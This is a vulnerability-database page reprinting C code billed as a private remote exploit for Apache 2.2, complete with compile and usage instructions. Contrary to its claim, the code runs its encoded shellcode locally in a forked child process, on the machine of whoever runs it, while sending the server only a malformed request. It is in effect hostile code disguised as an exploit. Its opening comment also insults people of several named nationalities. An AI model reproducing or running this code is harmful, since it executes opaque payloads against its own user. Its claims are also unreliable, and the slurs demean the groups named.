SSV-ID: 12636
Published: 2009-10-29 (GMT+0800)

Exploit:

@Sebug.net   dis
The following procedures(methods) may contain something offensive,they are only for security researches and teaching, at your own risk!

  1. ===========================================================
  2. !THIS 0DAY EXPLOIT IS PRIVATE PLEASE DO NOT DISTRIBUTE!
  3. ===========================================================
  4.  
  5. Apache 2.2.0 2.2.11 Remote exploit
  6.  
  7. Exploiting an offby one bug in apr_uri_parse_hostinfo()
  8. which leads to allocation of arbitrary ammount of memory,
  9. put the shellcode then reliably jump in upon invocation
  10. of the APR callback.
  11.  
  12. Compile: gcc fuckapache.c o fuckapache
  13.  
  14. Usage: ./fuckapache <hostname> <port>
  15.  
  16. E.g:
  17. ===========================================================
  18. [test@localhost tmp]$ ./fuck localhost 80
  19. Connected, sending out the evil request
  20. Waiting some seconds to see if we got shell
  21. Now type nc localhost 12345 to see if you‘ve got shell there
  22. [test@localhost tmp]$ nc localhost 12345
  23. id
  24. uid=48(apache) gid=48(apache) groups=48(apache)
  25. ^D
  26.  
  27. ==========================================================
  28.  
  29. Fuck all script kiddies around the world. No more free bugs, get lost.
  30.  
  31. Fuck all Indonesian, Malaysian, Pakistani, Saudi, Marrocan, Nigerian,
  32. Turkish and other third-world *hack3rz* whose only contribution to the
  33. world is writing dummy sqli scripts in python flooding the net
  34. with BS like “kekekekeke” “ajjajaja” “i kill you”.
  35. Feel free to suck my balls, all of you.
  36.  
  37. Have phun 🙂
  38.  
  39. */
  40.  
  41. #include <stdio.h>
  42. #include <sys/types.h>
  43. #include <sys/socket.h>
  44. #include <netinet/in.h>
  45. #include <netdb.h>
  46. #include <string.h>
  47. #include <unistd.h>
  48. #include <stdlib.h>
  49.  
  50. void usage(char *argv[])
  51. {
  52. printf(“Usage: %s <hostname> <port>\n\n”,argv[0]);
  53. exit(1);
  54. }
  55.  
  56.  
  57.  
  58. int main(int argc,char *argv[])
  59. {
  60. // we_are_evil_we_are_evil_bindshell_31337_shellcode_in_91_bytes:>
  61. char *shellcode=
  62. “\xb8\xff\x2f\x73\x68\xc1\xe8\x08\x50”
  63. “\xb8\x2f\x62\x69\x6e\x50\x89\xe3\x31\xc0\x50”
  64. “\x66\xb8\x71\x71\x66\x35\x51\x51\x66\x50”
  65. “\xb8\x23\x37\x71\x2f\x35\x51\x51\x51\x51\x50”
  66. “\xb8\x23\x3c\x71\x7c\x35\x51\x51\x51\x51\x50\x89\xe1\x31\xc0\x50”
  67. “\x66\xb8\x2d\x63\x66\x50\x89\xe2\x31\xc0\xb0\x64\x29\xc4\x31\xc0\x50\x51\x52\x53”
  68. “\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\xb4\x01\x31\xdb\xcd\x80”;
  69. int (*sc)()=(int(*)())shellcode;
  70. char host[100];
  71. int sd;
  72. struct sockaddr_in sin;
  73. struct sockaddr_in pin;
  74. struct hostent *hp;
  75. // assuming PAGE_SIZE==4096 which is the most common case.
  76. char *evilreq=malloc(4096);
  77. pid_t pid;
  78.  
  79. if (argc!=3) usage(argv);
  80. strcpy(host,argv[1]);
  81. if ((hp = gethostbyname(host)) == 0) {
  82. perror(“gethostbyname”);
  83. exit(2);
  84. }
  85. memset(&pin, 0, sizeof(pin));
  86. pin.sin_family = AF_INET;
  87. pin.sin_addr.s_addr = ((struct in_addr *)(hp->h_addr))->s_addr;
  88. pin.sin_port = htons(atoi(argv[2]));
  89.  
  90. if ((sd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  91. perror(“socket”);
  92. exit(1);
  93. }
  94.  
  95. if (connect(sd,(struct sockaddr *) &pin, sizeof(pin)) == -1) {
  96. perror(“connect”);
  97. exit(3);
  98. }
  99.  
  100. printf(“Connected, sending out the evil request…\n”);
  101.  
  102. // prepare teh evil request
  103. sprintf(evilreq,”GET / HTTP/1.0\nAccept-Encoding: x-compress; x-zip\nCache-Control: max-age=-12312312%%s%91s\n\n”,shellcode);
  104.  
  105. if (send(sd, evilreq, strlen(evilreq), 0) == -1) {
  106. perror(“send”);
  107. exit(1);
  108. }
  109.  
  110. printf(“Waiting some seconds to see if we got shell…\n”);
  111. pid=fork();
  112. if (pid==0) {close(2);sc();exit(0);}
  113. else
  114. {
  115. sleep(2);
  116. if (sd)
  117. {
  118. printf(“Now type nc %s 12345 to see if you’ve got shell there\n“,argv[1]);
  119. close(sd);
  120. }
  121. }
  122.  
  123. }
@Sebug.net [ 2011-10-16 ]
Advertisements